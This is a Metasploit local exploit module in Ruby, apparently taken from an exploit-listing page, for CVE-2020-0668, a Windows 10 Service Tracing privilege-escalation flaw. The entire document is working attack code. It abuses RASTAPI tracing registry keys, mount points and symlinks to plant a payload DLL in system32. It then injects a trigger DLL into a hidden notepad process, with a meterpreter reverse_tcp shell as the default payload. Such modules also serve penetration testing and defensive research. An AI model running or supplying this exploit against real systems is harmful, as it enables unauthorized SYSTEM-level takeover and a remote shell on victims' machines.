Share
## https://sploitus.com/exploit?id=PACKETSTORM:157615
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/common'  
require 'msf/core/post/windows/priv'  
require 'msf/core/post/windows/registry'  
require 'msf/core/exploit/exe'  
require 'msf/core/post/windows/filesystem'  
require 'msf/core/exploit/file_dropper'  
require 'msf/core/post/file'  
  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::Windows::Priv  
include Msf::Exploit::EXE  
include Msf::Post::Windows::FileSystem  
include Msf::Post::Windows::ReflectiveDLLInjection  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Service Tracing Privilege Elevation Vulnerability',  
'Description' => %q(This module leverages a  
trusted file overwrite with  
a dll hijacking  
vulnerability to gain  
SYSTEM-level access on  
vulnerable Windows 10 x64  
targets),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'itm4n', # PoC  
'bwatters-r7' # msf module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' =>  
[  
['Windows x64', { 'Arch' => ARCH_X64 }]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 11 2020',  
'References' =>  
[  
['CVE', '2020-0668'],  
['URL', 'https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/'],  
['URL', 'https://github.com/itm4n/SysTracingPoc'],  
['URL', 'https://github.com/RedCursorSecurityConsulting/CVE-2020-0668'],  
['PACKETSTORM', '156576'],  
['URL', 'https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a'],  
['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html']  
],  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'DefaultOptions' =>  
{  
'DisablePayloadHandler' => false,  
'EXITFUNC' => 'thread',  
'Payload' => 'windows/x64/meterpreter/reverse_tcp',  
'WfsDelay' => 900  
}))  
  
register_options([  
OptString.new('EXPLOIT_DIR',  
[false, 'The directory to create for mounting (%TEMP%\\%RAND% by default).', nil]),  
OptBool.new('OVERWRITE_DLL',  
[true, 'Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).', false]),  
OptString.new('PAYLOAD_UPLOAD_NAME',  
[false, 'The filename to use for the payload binary (%RAND% by default).', nil]),  
OptString.new('PHONEBOOK_UPLOAD_NAME',  
[false, 'The name of the phonebook file to trigger RASDIAL (%RAND% by default).', nil])  
])  
# stores open handles to cleanup properly  
end  
  
def write_reg_value(registry_hash)  
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")  
begin  
if !registry_key_exist?(registry_hash[:key_name])  
registry_createkey(registry_hash[:key_name])  
registry_hash[:delete_on_cleanup] = true  
else  
registry_hash[:delete_on_cleanup] = false  
end  
registry_setvaldata(registry_hash[:key_name].strip, \  
registry_hash[:value_name].strip, \  
registry_hash[:value_value], \  
registry_hash[:value_type])  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error(e.to_s)  
end  
end  
  
def remove_reg_value(registry_hash)  
# we may have already deleted the key  
return unless registry_key_exist?(registry_hash[:key_name])  
  
begin  
if registry_hash[:delete_on_cleanup]  
vprint_status("Deleting #{registry_hash[:key_name]} key")  
registry_deletekey(registry_hash[:key_name])  
else  
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")  
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])  
end  
rescue Rex::Post::Meterpreter::RequestError => e  
print_bad("Unable to clean up registry")  
print_error(e.to_s)  
end  
end  
  
def create_reg_hash(new_size, exploit_dir)  
reg_keys = []  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",  
value_name: "EnableFileTracing",  
value_type: "REG_DWORD",  
value_value: 1,  
delete_on_cleanup: false)  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",  
value_name: "FileDirectory",  
value_type: "REG_EXPAND_SZ",  
value_value: exploit_dir,  
delete_on_cleanup: false)  
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI",  
value_name: "MaxFileSize",  
value_type: "REG_DWORD",  
value_value: new_size,  
delete_on_cleanup: false)  
reg_keys  
end  
  
def remove_file(file_pathname)  
vprint_status("Deleting #{file_pathname}")  
begin  
session.fs.file.rm(file_pathname)  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Manual cleanup of \"#{file_pathname}\" required!")  
end  
end  
  
def cleanup_mountpoint(dir)  
print_status("Delete mountpoint #{dir}")  
unless delete_mount_point(dir)  
print_error("Error when deleting the mount point.")  
end  
begin  
session.fs.dir.rmdir(dir)  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Error when deleting \"#{dir}\".")  
end  
end  
  
def setup_process  
begin  
print_status('Launching notepad to host the exploit...')  
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)  
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Sandboxes could not allow to create a new process  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
process  
end  
  
def inject_magic(process)  
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'uso_trigger', 'uso_trigger.x64.dll')  
library_path = ::File.expand_path(library_path)  
  
print_status("Reflectively injecting the trigger DLL into #{process.pid}...")  
dll = ''  
::File.open(library_path, 'rb') { |f| dll = f.read }  
exploit_mem, offset = inject_dll_data_into_process(process, dll)  
vprint_status("Trigger injected.")  
payload_mem = inject_into_process(process, payload.encoded)  
print_status('Trigger injected. Starting thread...')  
process.thread.create(exploit_mem + offset, payload_mem)  
end  
  
def launch_dll_trigger  
begin  
print_status('Trying to start notepad')  
process = setup_process  
inject_magic(process)  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
print_error(e.message)  
end  
end  
  
def rastapi_privileged_filecopy(file_contents, exploit_dir, upload_payload_pathname, target_payload_pathname)  
handles = []  
reg_hash = create_reg_hash(file_contents.length - 1, exploit_dir)  
vprint_status("Registry hash = #{reg_hash}")  
  
# set up directories and mountpoints  
vprint_status("Making #{exploit_dir} on #{sysinfo['Computer']}")  
mkdir(exploit_dir)  
vprint_status("Made #{exploit_dir}")  
register_file_for_cleanup(upload_payload_pathname)  
mount_dir = '\\RPC Control\\'  
  
# Create mountpoint  
print_status("Creating mountpoint")  
unless create_mount_point(exploit_dir, mount_dir)  
fail_with(Failure::Unknown, "Error when creating the mount point... aborting.")  
end  
  
# Upload payload  
print_status("Uploading payload to #{upload_payload_pathname}")  
write_file(upload_payload_pathname, file_contents)  
register_file_for_cleanup(upload_payload_pathname)  
upload_md5 = session.fs.file.md5(upload_payload_pathname)  
vprint_status("Payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")  
  
# Create Symlinks  
print_status("Creating Symlinks")  
vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")  
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.LOG", "\\??\\#{upload_payload_pathname}")  
unless symlink_handle  
fail_with(Failure::Unknown, "Error when creating the RASTAPI.LOG symlink... aborting.")  
end  
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")  
handles.push(symlink_handle['LinkHandle'])  
vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")  
symlink_handle = create_symlink(nil, "\\RPC Control\\RASTAPI.OLD", "\\??\\#{target_payload_pathname}")  
unless symlink_handle  
fail_with(Failure::Unknown, "Error when creating the RASTAPI.OLD symlink... aborting.")  
end  
vprint_status("Collected Symlink Handle #{symlink_handle['LinkHandle']}")  
handles.push(symlink_handle['LinkHandle'])  
  
# write registry keys  
reg_hash.each do |entry|  
write_reg_value(entry)  
end  
  
# Upload phonebook file  
phonebook_name = datastore['PHONEBOOK_NAME'] || Rex::Text.rand_text_alpha(6..13) + '.pbk'  
upload_phonebook_pathname = session.sys.config.getenv('TEMP') + "\\" + phonebook_name  
launch_rasdialer(upload_phonebook_pathname)  
register_file_for_cleanup(upload_phonebook_pathname)  
vprint_status("Checking on #{target_payload_pathname}")  
vprint_status("Upload payload md5 = #{Rex::Text.to_hex(upload_md5, '')}")  
moved_md5 = session.fs.file.md5(target_payload_pathname)  
vprint_status("Moved payload md5 = #{Rex::Text.to_hex(moved_md5, '')}")  
  
# clean up after file move  
print_status("Cleaning up before triggering dll load...")  
print_status("Removing Registry keys")  
reg_hash.each do |entry|  
remove_reg_value(entry)  
end  
print_status("Removing Symlinks")  
handles.each do |handle|  
result = session.railgun.kernel32.CloseHandle(handle)  
vprint_status("Closing symlink handle #{handle}: #{result['ErrorMessage']}")  
end  
print_status("Removing Mountpoint")  
session.fs.dir.rmdir(exploit_dir)  
print_status("Removing directories")  
unless moved_md5 == upload_md5  
fail_with(Failure::Unknown, "Payload hashes do not match; filecopy failed.")  
end  
end  
  
def exploit  
validate_target  
validate_active_host  
# dll should not already exist  
win_dir = session.sys.config.getenv('windir')  
target_payload_pathname = "#{win_dir}\\system32\\WindowsCoreDeviceInfo.dll"  
if file?(target_payload_pathname)  
print_warning("#{target_payload_pathname} already exists")  
print_warning("If it is in use, the overwrite will fail")  
unless datastore['OVERWRITE_DLL']  
print_error("Change OVERWRITE_DLL option to true if you would like to proceed.")  
fail_with(Failure::BadConfig, "#{target_payload_pathname} already exists and OVERWRITE_DLL option is false")  
end  
end  
  
# set up variables  
temp_dir = session.sys.config.getenv('TEMP')  
exploit_dir = datastore['EXPLOIT_DIR'] || temp_dir + '\\' + Rex::Text.rand_text_alpha(6..13)  
upload_payload_pathname = session.sys.config.getenv('TEMP') + "\\" + Rex::Text.rand_text_alpha(6..13) + ".dll"  
payload_dll = generate_payload_dll  
print_status("Payload DLL is #{payload_dll.length} bytes long")  
  
# start file copy  
rastapi_privileged_filecopy(payload_dll, exploit_dir, upload_payload_pathname, target_payload_pathname)  
  
# launch trigger  
launch_dll_trigger  
print_warning("Manual cleanup after reboot required for #{target_payload_pathname} and #{exploit_dir}")  
print_status("Exploit complete. It may take up to 10 minutes to get a session")  
end  
  
def validate_active_host  
begin  
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
raise Msf::Exploit::Failed, 'Could not connect to session'  
end  
end  
  
def validate_target  
unless sysinfo['Architecture'] == ARCH_X64  
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')  
end  
  
if session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
end  
  
sysinfo_value = sysinfo['OS']  
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i  
vprint_status("Build Number = #{build_num}")  
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 18363)  
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17134-18363')  
end  
end  
  
def launch_rasdialer(upload_phonebook_pathname)  
local_phonebook_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2020-0668', 'phonebook.txt')  
ensure_clean_destination(upload_phonebook_pathname)  
vprint_status("Uploading phonebook to #{sysinfo['Computer']} as #{upload_phonebook_pathname} from #{local_phonebook_path}")  
begin  
upload_file(upload_phonebook_pathname, local_phonebook_path)  
rescue Rex::Post::Meterpreter::RequestError  
print_error("Failed to upload phonebook")  
return nil  
end  
print_status("Phonebook uploaded on #{sysinfo['Computer']} to #{upload_phonebook_pathname}")  
  
# Launch RASDIAL  
vprint_status("Launching Rasdialer")  
rasdial_cmd = 'rasdial VPNTEST test test /PHONEBOOK:' + upload_phonebook_pathname  
print_status("Running Rasdialer with phonebook #{upload_phonebook_pathname}")  
output = cmd_exec('cmd.exe', "/c #{rasdial_cmd}", 60)  
vprint_status(output)  
end  
  
def ensure_clean_destination(path)  
return unless file?(path)  
  
print_status("#{path} already exists on the target. Deleting...")  
begin  
file_rm(path)  
print_status("Deleted #{path}")  
rescue Rex::Post::Meterpreter::RequestError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
print_error("Unable to delete #{path}")  
end  
end  
end